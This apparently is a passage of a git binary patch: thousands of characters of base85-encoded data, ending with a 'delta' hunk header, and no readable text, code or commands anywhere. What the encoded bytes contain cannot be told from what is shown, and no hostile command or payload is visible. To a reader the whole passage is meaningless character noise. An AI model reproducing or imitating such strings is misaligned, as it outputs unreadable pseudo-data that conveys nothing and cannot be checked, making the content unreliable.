zaLrF@5s!qYNfe$7<-h0$cnJKer6$o^#gGi;-J0-BY6>!FM|AKiIH9SUq>de2V4i`R zq!iDG!+CCfA?^rMi7nfw!AjzW3pO=Wlepjxa0PL|!{9^WgqOiWBc2_3TC4~_l1U{yq`(G_v>zL3z(XTwS3C=D9i=7-z=NFBBpXOH9tGn`ES?D^qp21A zzrFxKya?a{;g?CjS&Hl8yfZ-l&r1Zv%LEL^(HGcR(2kVhf~w_~6=;=wp-BBw=eA|AmYoajbBHt4RzV3A;?; z0JsUPnW`p9!3D#ou}viH3eDYUd)yKhk`!DpcsgZVu!cn8f^*%~_=|a(8&=5q5=Wr| zx_j^z2iy~GAwhTyJVyNRlkhDu!mD5tPx=I|4ef{nF6c>YalvTvg_9P{B2~CxIdNed zxe%2ZR2>CDOQMboIui*lxQImHL2xYz!6RV?vBooD9+Bbs@FnraE8utHhS$ONUW_rg z9<=bH{k16gP>3WY_;2E6cnLI`Nj2eBaEC8ffXBkSq)u!DzYvvm{P+dm&E;;wt6=Rs z#t*R^&h?{4aX+|~_~BW8-2e6GbEXt@peeDzWpLjDY6VY&{{B=k9sswJBs>P*CTaM| z05yqbAXSW)K#hfTWZW6P4x(9c$zn!YB3VyAgN>F@({c)0NWwCz4o`xnf6=bE3~nLL zcnloP$-3gsaA^oNh6lrp<@9R23_68!LbxA{BIUSXCMm!Li%2OhDEC^y0t((Rg5=_Y z`e9s+SPmzyWNg4)p?f%2w}BIaKO$&*Tz$2gq&soNWw2)?Cxlx=cjAnD!c9bmM?>#* zbkq%u|3X%h5LQG$mGztmF4&3W;`*=$$-&DuQA3-#8eF_J?m4N!CDCe#T!4PP1JwC`BS`E zv(S`pqfoq&)7y+^yh8C}OdDMAB9U0C|E73>r8+JsUT#^03yPO;mf}t1hB(fhJ5LT0DTu@^Ny?r#pIW#18 zxZpq{*P$R}3aNBb|IHvg7Z((70*qxFLGe<)g0b8YP`vri(OLaB#ajidSS~1D^cRN< zidXFEu#I4MqCHOiHyvTw<35r)>dEM1Xh$OX6^r0h62LDg1Q!xLerF&k-a_Sr3#O1# zTrijDF)bIoA4mJUG8;vBR})oAa|kwy=S-P833etnxZp6NjthE_V&;K@!6cs_&jq)V zFn%@^JV1(Z!F-~@4>*Dkh#USOUM^mQ#0bStL4vbL7%q5{Wa5I26S)FhP`qX+mhoIr zyey~&7hFy<8HmJ7f-*@ZF8GYtGL{H7Nut?s!H&dLxr2K4!Ck!PPNAVE%~WzzoYIrF zQLai<+}D$iZ=fk*DB+)GcCQZ7WlBnxitLWkl}cucC$>^Ug=Z(}X%=@3f(@jO%G*j6mkp$2IMKG9rE8T6v-fqDzEo1gjj6Ad9c3id zm&(PqVt@YnPBN4PbRdnz5*{l0_c{$+o8+=C_g~gEVz~wnC@E%LG3&;RwHq7I*1$VC zvDz`d;ko%ohZMQ9S~94&>-3p3<_5T$x%#{MFZOp0>S^gZW`?4drL?`GMQwdeh2Eit z4HUkX(mu_7*rD43&*=fv^_MJJ;^{t<{mT@mETzwyRCVN`x}w;Ozb50HsuTx%NZU8j z>-1-_EsGZtJ;f8T*y-=ZA#8buI4PR+l*)OPP_{Y`m!Z zlkYq3z44P~-&J%NByHLFP~+_-GowFtW^UHQoLI;vwQOW=W@auk z|GOw#zELrEsC1lSnw@ltd|TC(C$%Sfe7QSD^O@Gb>7%OMr_I*(Ju>5C?}8(>V_sC{ zG%s7!Lvzx?^Lby#jXt0FeVOyNPdYZ2=BIZ*G~|)GYSRtvvrSzlnlILP7_xAYX^V^w zpSE_s)Obr%{o6B>lULVoXW(7+Q|5D|XlOe2TT$yRBRa3GZ&*G+TlP56aKqxlwB@Rkhur`5DEamF zyCcu^{9*cYn(7goUgwJ34{Z$|ePQN$pR4NT^^EM5O;;&S4wm-PR@$q4E+WTIG5V)% z`yYwtGP75vL@0&@N*x+fhsKsYEo2rwvnLOc_EnO%+Fm$&Rm3==(WbXT64i{tDC?6dNHTn>w%-jSF7mnxO4aA zo0PKw(?&HJbo}BAhw{iaU0Xk%<$UB(i&>9b<)0pJk-afH@k&C^0g`#Q*PJVkjxTC- z;AEfv&l@f&YGHFYTt3TMUu({kdtY<*EH0nsIxRwFh4Gq2R!U`;%^tmqYg+ewqxPmp zn@_*COAPJ4WJSJ1QrNp=R!QIFwli1l*r++yajS1sC8Gx?-Es*F~~mnX=-q>=*}W zg{rErEVTJ7#mbS=o&VMc%|=OG^)3#YYFvCX^3*0D{g!L*Zh7ju$I`d!=_eUAj)^Z{ z7nTm=Ehae4ltSad2iwa52YGUy`H97>$Jm%wV68W`B!I;fOi)2dVjX> zklFH0_5(}vUte06Xbi1(lod62e>m@Q<2%LUW}4hM@>xrBXv5ntb;63a%sqSYTd~T% z1|QYNs2|@sy!WD#@a~Jl_XH@C&TMWtqWjS=i8tP@|G3w8YrEQkTJknm0;4vZPh9uI zO7Xe*3&X@7;ch#IElC=bYac)5$IPL2GwRKanZ9gA!cG75d-ubwTBHuI>KroL<@uAB z1O`U$2TClU~+7dz81))++y$;R1QXPgWN4T<38cR6kxZxte;- zp~upFmd%!A6u)bip7gp(a%S(+i)OW&@u5wh%0inyQfp|e#yglpt?JcNG7D{bjb)er z+t|?b1dFm2XF{bdTaQ+g{yl2&f_9a-P$gTHP$e5#sFJm!DpcCh(KzP0!QGj$U6yS7 z-fncCwi9DZqc$XuEV<*>_3@_B3z{`nR&z_AlC#N1rx`%B9xpl@$U3Rj8>b>|raNMm$AWqO^SlD|2KdfcFw0}Q-YCBr z3#JFmnm5;9v3#YpwdUXfg9e)pwlM2yI;fYKouY%Y)Ub10sAex&s7kdgwBEhAddf=5 z%FQfz(zfGy$FoHb=Jh`$MlarxcX^C-V|#O%8Do~2wRun3?*UAlquJlZ|D_XhkYAqe zHaaiu;<5LM<0_XoZ2YDC@ySuElb$Vpd)PSe`nNp|lA1euxGSGe8okPN;BLcTFFtKd zURJ9%YQE3RxLsSz1r+OwIgEg ze6RefEvNh3shvCFz?z?RyI-Dr9h&qiDQa+&;bl+V6KYPcKDD%b?!KYF{2I0DJ8iM% zn*$@W42|1HwLkkdvaR3sCoiV8YGqRIL-*5%&iA;G*y)hzE1SO({65&n#0}}5q`tjb zn<3gdrq1TFHMh1LP}V%5s1BFvXe(`Pw^ya%)R%@^1}cTrXxTsV`WBqsc9pb|l3b-c zv-ZxQ^pp_yj74v}7PXBS5FVyDc`-tL-u%4d&-WJC9`)X&`+=vJf4N{^;(>Z1DbH&)L|(DqxZ!>C`U?;RRpntx_-%w6NbHBN@z%tmeV)Cr&9qY*YxGf-vjq=XqG ze@)AJ@$K#P%Sv;y<0nXi)U>b2LX|C*m6T-5zr_Eq-W7`PQ>9I``)->&vVl=E_l0eB zu6h`$C|Z}*#wqlsNn3>VpCV$p0TscY6&P_T}uH3c9ja`RxjC?az-u9op z|7v{ARd?rwk+;=9eAD>#*L9r@d0pHC7A%{cVd?7s=1kd-%MWztpWHa6>#A>SD+kwq zaAS?$p|yGk^Vao!fAFaNxypUJ0<{lM=0az1`1<$X{7vLK0ww{MXzpVhZFTqTx%U(oOI^F3-<*hTD*1an{fT|hv%uXb8Ec} zWR3nAg_WfI4-26@QM1cD*TL6~t;3FdP8@K^w~xc{l}D0pe7F5&o7Q&AXvdX1ZzQh{ zo6zX9*2Sc~Esi^T&z=)MElg?i^44-g_2)Hh8+91lw|A?_fxXA1lzuS&c75x|L&=`; zpK7J)CdW+T3SU^99%u4v!Pa-Z^RrvIKb{nKzjDj2hcnOje7kLVlcgi;N9ZZdjvuu) zvfJsclH;|ld#}$A(P(laHloKxujy_5>yL~sDbQ;0<9O7-sk!#GbGkTx-25iEzvf}b zhI@893~JHX%d>Ri+ueQdU7S01Wo5hSYh??SpPLK_KQLx<jV1?aoO}^?2q>& z4D(_hsD{2M(SQGF^@W7&KZz&bcggv$=R9B4fmUe2NnV6H9n^=%olvtAZB~g;3o@A6NOSMjQN_9zfON~=( z@RsJa$jQjfD99+vD9I?x;5&g|eTf55c+ZmRPl-y6NsUWQNzF{nNi9k(ORY+kr0Jx| z(j3y*B&5E?8pNe%rst*?q!*=^q?e^vq*tYXNmtL%%FxNs%P`82Wmsp}X1HW{XZU3V zWrSozWJsdw^ZiC5aZ?EhH@>ElTlfw$w{8dXBWcYHnOnT$v(p zjog-0e|KZr~IY1@}nnOP1KSk?yD}( zaZQodzw%&v`%XpoTvCH_9cuNpt*boV-X31>%+)UqE^9k|G(7w>H0xXIL19m>d~IW0 z(Z4XtFinwQ)^Oue_sYOCR~^>HO$q$5WpCiGPQ@C}E6P0l`t^8Syw&~7!g00Zi!+iv zu0DHqr}2&@JGw5aK6g7Hc7y#b`NKFfQ{5y3ll**Jud#PGU4E81=Jn}@Iq8AY@j4fW zj!h3Z^C9`_N9$MX_auH)-nC@j_2B&OhYJJk{r2~N>E0y#;b4dE&A(^WcbwPniq*TV z)@#NVYxc-cOX)T7{rB^&YnNAr_w+j9eB!a;mbWb?TD9)bq@uyvJ35EX-+w#Ad5mpn zJ>{o+6+Z%)M_7L@?0&9o)QtlTK6ZBgKCjcBi65VddBg}+rVz4Tir7GDoqX4lRarJM zPUE*I56?BW-=DhgN!*#mL!-MrZ1rm9i7A7wJK4)mS2oTGKmL6}%a!pxW4yY24%DeIG7r@)qdmADIs=4zMrsjoVdt4KB(*VrrsWD8@If2{Cdv& za?id?BxYmPlJivt7IxgWJ-b7rmxJq{jh63h9G9nS^=reX>#ZD54T$?}(s{dn_TH|F z-Lor9_RR>Dt>_qBJN?zs(jB@fJ-mvgW1JQ9^BuQVG!C(EHyl>!yUH9%poi^IExz5IeeZVbOYGVnwabp*_SrnESu1(`#qi^QU1-pEqauCL zF^8WmEBZdUmaVLNGj(-`fYbG($27k8?EQlWotF*0m^J(OrR9UV1=OT|?x$(`?A#>P zs=-N70lveYKW{$d){ch1qGe@sx4L(2db3h*tY+WOod$kgyYut6C#BaL_l%Ev;qKMB zgI%QW=D6YM)89XOvtiTFidXHLs0{R0a?Oqjk}j{WI*mEhWJS9WY2?4%e!u5X`u9Tu z#+H4ZzotvCk5{_7r1_X1R=yB%t8{%xy#Y~^JWu|aLpj9HZ{JCK=7CkMEITe&Tv_1V z@7$82ii)};3$-*%reqm)xOZdtq)!Rcl?o@AS!veI@aY%RZ}2CLi*pq18$FPBUUVzV z{(kdKE|m|hr*~dwsx+y8=VEKCO{*gl?wa!_b?jO^4SHHZlqt#vpGfJ&zU)k5?o&Kb=OQx9UwJkUs5!B-7Td$%O z{f_*wY~?rJQ?h&8PoID((YJ?hQGY#HKECPwt4}}owLY=)vd`-K)tRq7eV>`ltYr@M zoXOFXf0;wwVA<9GHY_$h&7$M~Z*!=SfFEnujNH58(&K^!UCsR0`OkXXWa-xnD^_#d z^m3xl{tJ75kKCjGZ4PBA#_s=|Ls?Gx|C&Sn`w2P7ci&v~et%ecpZC_QJ54| z+7MFzeS4elc~4(Ujrtx{+pekz32v!5?5%Oa+|SiIkM0MYl3$&dHgWN|(@{^fJ~Y$_ z$!K!Rqm}uSO?Mw3m0Rszac^!+Gi{Zf;m^KU&wAKavt~q0O5}{dM|H=71~#tfYjU^2 z0G)XK{d1yzmgl=~n{ez$*p&?qw=)V>KHCzovfu6Yd8_+`t8cq>FFbuk-ssbLamscx zH?;8Bx^JFolbwqkF0J4Hbk0ae^DBiPdfxWUifZ|`WTk0Vz_5=7K3m5d4^&>Y=+7ML z{Gwmayq(-PTYC4lE)0A1G0^U{ub4w=D9Md~e9CRUVq5i%u8AkJi>}RyGw3pO&wcK`^j5p@*$uyGxqB^sGyn6LSnZTeC$8O7 zYN2a7f9Ec_pT*VaroHDhUy-z+dB0aJjT&0N&>OvbxyjWHW7U0s8u;xR96!ZzMZ90j z^#j*fDB6yDbIl>mZ1=33-h?w{?+}H21*Sa4fLAFonLad)70OSD8uqVzgGWk5@p%L(#-0=PNIG< zP&}R{ZEYYn789n1zb8y8>y(v#{l}asL3Oh-1CzTWu2|4Pp7@2_6Ce0rZ$*u=x z-)%Z(?aWehpLGU5`?T)&{fL^Kq}g2a*y@c_a_z!eb?iIx#MWUmg9?lH>^XXUlE(U} zih~BVS#LXJ)XwnfTBc<1XU_DmcmMA>(bfoB%bl|m>r0YbeE%^t@9WVw(W}~Y|M^hq)BGjR2mF~c{mTc4 zIa5N?>`HGd!>1Oz!W_zKXB<4WRq539c7;pL^+r83Zk%oRf0;A6T$-tVzj5mPVwrrLG|U0<#+bZd*|KFaB9-w zJ>L2gXDl-AI$*NmRKUGHQ;VLNcg^(7STKC1lhap=Jr5HsyN^g3u+4e>oL}dfB^|q+ zYT96S--SNG%++RG3@4o!_+@S{w)~VLM zNig4XGUvt1Vm-AtJ?9sHeUjZZWQrmoe_f-|t@G#KTV?lV%hVyZV;!Eio?7cWa8%K{ O6@5;r6pPWBfBy$-DemC_ delta 113061 zcma%k30M?I^Y_lcBG)AD-o%^qEL7q2~-)4=(5U+yg0w{s{ z3(wW8s~9D`&8CQr+Hz44sTl^^!|n+F{!4|_7Sm@;9|aW88Y*Z^h=j2NVk0lgm2%e* z*ZATe#rncq&OQy_9RMP`ZZs4y*|df;?iy46(WaGqN?EjXZ!!Ej%XOY0ezdPxaSjs1 z&7U(Dm*2%tx3a%n8jF+nu<&{##b#SsVZGgkN1qCs!cucfljLEt8%AmCX_Rk2E$-#2 z2x7l4SbO(CvE3JJfP03aXmedc(FugPo7oQc6XMQ~**uR(v8uRulZU$?{&K!}o984^ zoVJ|>>t`F@*~Iw_CdmsKxW07JDEXV%XZp*AEgN}Cq)E~vCFBKC)@)>}y!VJwH0$ZJ zNc{dIcEzVkoVcDHt)C>`Xj<&3@8c}a+sx|wA21Agmvj56a?kt$?#y@D5B`_LO=axM zfLzfO%-T2XBwk$4<~9rxb@kbrhN11FX5(`ZDEa=s@4?m_D{ zkOA^(>|C&~;LLglO%zwY&%O$Z_8arQn$NXJCrwr6UJ(sL>HR)?5fmHSxH?Iuq{Xog_IvEj(AUM+*Rt*6n~+2qD);+EAMci>%iu5pf7>c?6e6U2;m#S@H= z1o7AAY)F&1`n{T?uqgEU>OwzUUA(SIpeQtE`V+3F$}+gMagnwV~56JwGB-j8w8WZE(`rb36lz#IME zB)#ITERJDc#zcr`m#|wg@o8(92%0Q=#_uNST&8r!Bt2A2IuI5*%pNAxkscyUwt9QR zs3NC;mJ>a37`~h3LJeu~64p01Qdb@gGO*j~DPKji!r1V}FBc1%Y)Em|yL#J?7?oy~iS(n{vkqFlUF$WFItBpxd)u57VY6o1~y zR<{ZhFWHOtwTczRXAw+^?=5~D!IInjDBciR#hOzTt$}DsSrxWm7~vdOIoi+z*OtRqmi^TuYP5X_!i5RB2Xm8pp&MIT@Vh4V6Zt z(#+;GH)?5;zIS15J46XB*{}|s#k(J~jUAdqjee862ou$?H?;?obVcc@BIDKgWu?=b z?3WHpd=h4IgN%o3pcdC;CR>t{XJ)Po?*+VY4jTIqOoNxL)n{wZ543(!Z~bOhOgH$r9W{D1BaBc zgt3g@gwbqq*AY4qBfa$P*yL%>`uxZ2kFN2;Vb-i$m!S2~=l&%ZbmI!8%>{?U1ii?p zdX$DO=@ubeE&imV(u%_UlFVGRIlu?AvAbBez;AtwKp`Ri>gr|EW9g$D0 ziy_cO}aw$Z8BphDK&?hr2c!L$c_sb z`9>pqla#&3VTc&&qN!xa$6+`)#6=T-0VE%R1U6MVf=bF>ri^tX&4~JUkXS3nfE;Ay zBq|1jC;+6a!gCtmsnP3z_+!NUS`=NZx3;Dk9v`c}XDDT+}w$W@aL4}mfqK^cBOQ(K0WU#n%f zb{b_kl6Jl<|GDe*OI)wC$HxV;C**&FUa0H=0WhN3(+X4!+3_P4<;;m@6XtDTsHx?c zq<+SM(zhllcRjj9(b(ka&NJf2j@5@2P=U}*PEv(wxVlat5}(F*f<(3~TSPMXE_E90oR!JOpf!m*`_|R&c{Y4YvpB;s#xc zg)GtrnIJ1_W0Y4B&kJbBagv<;aNdqAX`XRvcHvzb-cBiHyUiU_3@2ZZR%K?WE69%G%QM`n!Vq8-U^E+d{|uZoEID4Q{7u z-Os|a!^H~&SbBB`%;FbhhgxHAqKT4HTyCaxh4fndv%^tPY6(HF*i3d)O^88$h;ddH zdQH?7YEwMQEsouc^TGGo0GAl1?5%J(DosdNOB@a>)T!Z`GS7JRf0lU&+tDLjn9eTtND&=)@V z>)%D8a>Vf&5OpT*=h2ifWKi+uz?zkNSy-<`meVWKn%|Ea8m1GJoynAc$d%03OBsBP zvNQuFO)~aEGc!r2mEBcpmQ7(3=^|RBp$skZTsbL_ZcNqhcFlk4I};UP@Z1D{wQOlR zR%<4wla4!}eR>@JwaIr382b zI8Q)50InyHdtaXWWkk~`n$BkT4vY@yhY?`+qc5SSrtr5KAJ+&3)jqD|82N|eih~{K z9j;Hw!+2=#9h@8Bw)oY@uTvd-4Nu)?Z}wrIgzyV}NZ((fYD4ahbqkJGt14Y4H4n4reO`%v z2gu54$6;-|ZX&^BRJbF-gH*Ua!P#tT-*%0)FoJ4dMpuU+qc56B{?XLIM|hq8NXZi@nd45KI%SfMnrs6DOg5A2s{_*d zr@fjsz?6SKCnNrGrt~O1G2w$;cTKkRBul!NWt)l?TM1*Dr1y;5@yxOhNQL{th}Emy zVR)q%siH3^=M-p%ros#Q0xau5zs$G?PlrLSruhIdX}_@)j|FEn8jR`igo#;62`uGkO*pL5AD3J)_qpBrhJLs1jE&A1D|+d7Yu8Y;)N0nI7Cf+|A|bG#)a*}@ z`UN-4Ei3)dHB!G2s^ns!>TtmgeW8{R1rPLve?jMh6Z%3LwaLHS#}ih)Iu~=DoIPQP zrAwuDQ#)EV#eyTtHpv*4EuF<7znTgscVxn(Lor>f_DEa@lk~Q+NR^o`l~dJ+?Zt+U2GURb ztwkTGkqPn8So!2I&GY`80b6aI6YjXa*Ig!VNM1SA11?E5WWREMVQC{B?jAW);B?Rk-10z;{)6E5TP)_yobH z0Mi8W2a1%c2@|lOQg*5EF@iU%@EwBRQ{jXwfQzc>2`*6KZwQ{H!aLA_l}Xj~R{`g! z@Lq!Zsc`l+7fmO{q(%-QqI6KQIB#ADme<>F!69;&@j{$^T)memqH;56-2nsSvUiPLPVrK#jJ4OE&BRGMH;W38q6 zhSU5)ahui^i5YgYr%|BgXb6hX&CFH|3$iBdA&uf|x!ic1=VaFfAp+(HGe|>yElnh+ zQFFRV@;YO^S`H#}lEdI#OSY5PE+!>>N-3ep@dRc68(@dU<0pcgdI<-P^`!iOWh zVi)Rj$4Qnlym#!xML8v6x)cRTmpD}bpUiB!iwI|S9B%L&!%9o)gMkBEiCFW8hMuTF&(^NQ` z@M8cw47WgybqL9K7+&kfHE|evbKtDQU?RY-8$`@)ROSc8%@Jv;M)p!d5MUHB0FE#S zDqv;a0FN|%#_=UukLm2^oY#cAEOW#wgEi@-x23<`)Kt0O7mnVh9WxCr9n5KIG{waf zqywihx5~nhJ~bo$1j>~L8YH7m)HF;Au)?5)u%wGb8cNZH{W2n4IK_NM`Zih7g{tQ~ z3YOAFi(zIoI>dOTH}V631pwcr>daml8Qjr)m5PUqkPn}y+vXX=9EJo)fS%ae{91Y1 zhjufuY&@&{3=oBT^afP61&2*#AB}7)uFquOj%<^1;17`&`kinRfPRTd#n`S%#x%=g zlYJF+L}i_t9_l!5$}bDcf9X8^GuU+(xtUHStmi2I;V&0Z@Dl3MV1V;d(+I{S)bP7LTNIVUQOcB9S<9Ts2Y(UI~vv6~$m zRVa3w!m>tpm~b;sZIt7x8zs+Fd998D$%o9{QPkKemf1UmwmtEN$`8u?vpvA=V@&wjwLTpM@2kI00!da*Zhha@e7ft?? zIr_p0h(e!K$06GLt)E4k_K0RlrPxKvqwb4SfGYOZgr=h+lBr*IP&qBl|K{5J3b@d$ ziP3}|&1^d7xx$yrXOtkjXbk>@D2W#pxh8`m%F z_mX(Dy3Vv!_YyuzU(g#{JX!XXXKAi*3Ad`Z(f9_hZXIPhZ5s=IeYoy6&2l`D11Z34 z6Jr|isZdS+pHcpwv$EGC#ei|_=hxp9SD$BNC$(`H03Hy5~qo;rFnWD%N;CXRiY16A{{5v*AhJd z+F^)NY4TJWfzwna)+l|A(>SR#LsXgvqe$tpTAE{=<`%{6xJ?@ z3z-@nwZC8WG%~|q@2x$6nY*MdN00&9-8SZ@tfa^*BiS2M1FR{K>o9C zN)*hALTia$0PQfeQ)!A+8Xr#cylsurm7J!5N;65Nc`<^NzEVqbnbZ72ah$EGG0REdspK`Ux$wsM+}RT_;-^9iSUy_RMTr^#1oZen>wjhoYStEI6M zjk{quA#B>IBbe9p81cg#mOR~%zX^#v!ealE%Fda&Z&MW`Xc zp6ylT!gTib^jC#BtZKSZ$YtI$nhOrraYnGvir|3a;qKgze+S;N=}Du!&BL(Al0BSl zm=PlQu+kY3;?H;4-5Dtj13{V6SfeSmbfk$;zcjeW?4R&tJ~JZOaC1GsieX$!(`8*XVSem;~H zSsJ-t@1$yWy%RKx4Hz<1Eg{AtRB=M&NgC^$w_eYlSf&hY0$NfC;|)|uM0S=2H44R2 zOq(X1s?r9Y$Unh#f+lm`pcU1LS z-m%7F;ohL&8*DVV6yBht?yr?DpfgF?zc>t^#Ifv|eM349M!%J=nXt1HN5L#}yDX`5 zfOHJn3@m2{W{wLQmm*-Iff*_lW6nA#jyc9FWY#yg#USQ7yOrn>%aUh@S$$4YRb&}wDWRYuD9&LhXo0=q>;=zZdVUPqd>D8w9n?Wv zPx~Ox*3$^&FswxaatOpRK~)fRN+7}pSyI;kbjwIk(uwnF5L0!3l}tIz!&*20XzH+` zgO8j##jelp?B@+8n!hLN2b9u$frhS0$64z+&Be)OY{Z-p-HUsfZgBerbL zblr~wz=Qq02#4X_Xy!4uk=QMUMa^v;`B`SQx1?Qr>6*i^5yl|<#OCG~Jk5h7)bLB~pFl zF?J`{mzCza1b+ViqsbT48Y}r0#rG7q>uw@3OM2)qd{&!&htnTX)A#ep^4i3^JpK{lsud`X zCB=F=VV9m@Yw_y*4pvuHyQ#3dvSlsWrF|8_)#h;+T$`w^B?sEvR|Rm|y#GOaGmP(nz!;|#1T=fd7de1MS69cC@}Uy1)HR2Ch1WY zw#m`(u;oInAXRC-hP{^;6LJh?!>t`Iw`&$=e|E#1S{jA@kQXiHHeo&sUg^5I%fF;v zLwz`bR;hrmRO>mmmbLS0wULF@X=JH52w)o*L|QK!NekUOpmrF>lLow|TO6c#9>wjt z*(8d(jHxz#KBv!7(+BZLOl@K_-b}h6uBx(t`1!g6o$PIyYBk-MYAVAzigjI>pgRf9ayp7xFXNk~CW12^?_`RfOS+jzi*4ClwG%0x?e%Hh}Dzd67l=|@;Wg-l9Z1H3DfN`UbdklkMHn`e9Een--0@+2?g30yOSLOaBxbux*%tV0Dy+e5 ztL|#NWJ>T`Y{%jR;R*X`aTDQB=Cvf;e_MA9{F6a?iB4Qp3n=9=tm~2}_hO)Mbw<1G z0GqiaQOIQ5mo)KuwGQ3kv+VAYC~;5-)7b*!y^*3X$ujn^=r9p-rdYv`Fw59v!&98z zSOS6lm4N#C5)AU_us^cFwxmX*sf(hnGN`WX_U%4o$sxupxKxGQ=3XaZ8_WQXI@gAIShas>bla|FbKHrE_W2gol&1}{;1S0<>im{9vskwuFyDT<* z4(C@_7$c;&jd>^mO^e!tEj_V$aR!UAH}4e7sbD8ulU~M;932J)Ib`8{mkuD|+#H6P zKvdpF419ev+%;bn0>-R%WCoM%X)XKtlOi}D`kUkNd-vA4y zN37oRWa~XYD#cmSKNR{?zi~&uaY;LXGN7>T0pPn~X^>HHm#()NmbQ1ptqNT6s%iyM z!y(Fog%$ZVZ`vb&F7b^QBW?-c?uCTba{>ZLs>fzrsxZX-fy;BaRAJcZ?}o9dpeZjL z-~T?#Pk5EJyU3%}n7~Xn#rfzG`Rpnu1ADpLRU8|@Tvv2$usfl~v*kcjlxKApHeyAL z7&ekEU*YF{8|9L&=0DL|+9NHa3){8Am~d%?8&*a8DqS6h4LluF5KI1ZttB1C`lYjK ztPT#t2L^7e*6EUN!w9A;3bww+$x&%|f~hIGz(&yP3xoKag3ABrZj`_MQeOU1N8zai zBq8sEbKP*jZ4SiBVhUIaPFTG8q}FB_foNqVug;W7fN20sByBm20s2d--vf4yhJ8}x z7c$frMFNF#)F@CNZ2C8gPUy_ODT=TL6A4Y#TOj>n8Y&0PiInR{%DrLZ%B{u;IE@*p z%Bv7m84L5#5R-~p$<1-2AtsB?2WWT+-dRH$15&7VbdDPyx|t9y8D=0vJ`*UP02I+x zhaFsJTmtY!7k+mRlU6ozw}K)50-A0Ewryp0LQ!LN=d_nPYjd+w^a5J70yR__7gibrwgoW*@#4*PIUPl%0^`Fa)9g zFs@$4VRvO`Djr0JnQZ%wo2jRUX*Hr_2XAz>$M$^^eGfFOYarqhz=X=PSinB0;`bp%2WSqP3oA(WUi4W4Qdb1EY%(n>! z4<$37Oj3+e!NQZiVtwSak)y$~m)<2wr(FUZ@tvWn`ivKXR;QMhkQ)UeeW5$r7q+~o z!onB7gt!9>NnBG^+@1YsfeP>8k=`Ir+f(ha750amY`y8pO&JSeAG9Z7^FdlItcZjq zb73DMU+6Xr!m5UY)(%>;0ehOu0Pqu>z6Bum0&zNw4^<2s!A6x3O*yF{U#W1Sz)apqt z2Bk_iZ%tI>4z(!0y!MGA5spWhfdxP@ZxN{uLkllfzNSyacX!Bz)VYM_GoPRE)ibG= z(E8-D4r?>4gI{wvx=3#?=TA}0)MfR$`rLw^mc7@H$~6aM*pPf z;o4{-j)E$SYooI%`ax}UA4ONyM00c=+Ynz=6W0x)=uAX$Q)=gj8qFd6&f#|pzn}4Y zfuARIjs8FU0zt#J_lb^}e)nIt*f8%Ow)k#7w?)-J)fQVm{)a8zCXKE0Yi#iYMW@zA zn~=gIYNO*Q+NUkGQyY!mj%Z{})T*0Hale|l?mpSI9-^>C1axYJUn+h* z@f(KUWc=pgxAy<=lR!f^`||IbaJ!Ej)qG@TvW*XjzhSaXh1;IRetFN&+KsT->C)qWvG3IoXs?znlAM)7>&aBRV>!vA6$1N+|)uwI4K{aj5u6sO(?qZfH9l`84 zcK&$&3)ktFG3)MzJQHRQfbYtG;;mo&CAwf|Y1yKyTcDTI8M;$yXfPie_t2~jh6BYh z4}JO*P$A)YE|jwC<`MoU!mm{E->djtgg*;>)jSZNQIWq8avveb0l8O2Mt=t6hlIpk zGQ$TdattAh2$^DBWyRDzfbsAbSHzg>;nXKhf(K zCt%bttw#BRw$_v{X?Otc8rpUKXah>bJT_@vVDn(W5-wt9OU|Xrlew_ik>ugt)9+N? zq7k%)<1AX7a(yn_wXSjV7l3OyHrL@;QJ140<*{@wbN)|U{6pgI3rboN=;~8SMlIi& z%GkPm9}sQSTsH1Mt$gni{L7qbJ{RJX(Rh0}rx>jiq zVqZSzt@TlDU!WZ;IV7n$G&o2JeGsdD_h2AxC~U-pj*e7m%k@WePNmfxHgvszP!X{< z0CA-N;Yq{2^^2bHx=&d2IV)Np*~LoIF3g7PAlxp+p8qf)_=$8OShMu$$CX`3RaN|| z@?B!Cv1Hu&b=_u-W;cFk@cSOWC-~{moFnkd`ak^I zfo2|lNAdIhRHK=RpZ8}Nw(#48KJ!0*UjIP4vZRec;UjU~*wvAOX!3W=k; z6ZG&AY-!$D44*?}tS!w~Ut%`KN!nxV+{T`6xkOQ-o4uwtL5^j3opEbV7?agZ6j`wY*tG?)GGxtShHNL1T)<`MMdj887EiV6p`s!Kki;h^h z%Q^Z1wBH8y8dvn0iue2wc&kha)xLhV&LY?8W$Im$XG&#U%$6VRy?BjrGrU<)?HSQX69 zYaHLtcn`p3hei{EUp#&${D$H;9l!Vf55L8rIfb9^PJFfiKOcP2;7|PK?!sga9rSW`$2XxrOz;u`dZl6K|8>s>>ZiXG3;f2d`^u@=^ z`SRYxm-lwvVxk_2DY{9@#%^^gI3QyUu(YW?RT&3C?A&(0FrC9t|CtuMLA#(kzYn!T z3y+_T$(b2OeovWWi(iu~n6=>*DstR+$(4+Q2pXRUxT1#fjt+_K zJDDYK?d5Ww(*I&BxB3a+u+3YO8?O12vS@%3KzGYvWT9T;TFL&}8Zcr!Qej7&3%t@4 z!}K(8zllpAKjClR_3S2DOjoP`HC z<6Ongl5ZRi^^YnICo#+CVZtx0<+g_YkvMJT%A}*zq|7ubZy6iDEifpO7k9F%O>$C4 zb2|vE*od;Me4V}cyp`}OLmyF~%Se{E6x#y0J2+9>l^l@^QKA;wg6*s$S8PMPf5Pr}#_JA1jdJA)4Z z;H3(-;6ww~t2oFvk4hOh4mw~KHhl1r#NgSXEU!4oI`9z*;-_YjD9r+*yE&E=?}~y# zaRnBiC(+~L^R;E(a>w%mOwPWH4o`LhYlh>CJ9T?1uMrR(3jN19=X#}Fwp%9 zec^5l3|I}&A>J=IvS5L`I=FxM5IND^x>z=1S4!wGL?M>mg>xcd-;N=5OfUx2!JFS- z?ee!qgkaanWcMAMhMi^_xX!>g9Wy!M@`^9s)O`92m5OhaSh2JEU9h^dnu=TGT)4R{ z9cih&iNO_=TrI)wn_4TSSe4>1M3a%Q2_2u8vJ$i!i?uiLL&3_GDB0gUN;ub5LhV4; z^#7p4MiC_}H1iBu2=9N@W}w_fgW?B9qmU8mF~@NPZZ8M7C8z2aHbkMx$YlA0q_~Hmt@{^e&LYaP4PqA-v5F zgHYL$)P359D3CH_G+F#ON{v!j*P#?t$GcBc3HS@%4P$Cl|CGx?)pDut{mdrrZY8D# zvG;dJi!FoLiQSEZpFE(xqrBu-k&8 zSX5{R55=o%0$N(=B22&wX&s1H*{JDxFJezha`nTBp*|SWa9-K|Jyx)%yS@jc*WMO@ zF5m2F+U%$I=n!%m${}TsqjQ)NNLQx)Mb(#G4{yXnA2YU|siyiI!;=Z}^(-wxf@ z19l*H2Vg=9Mn>Gyb< 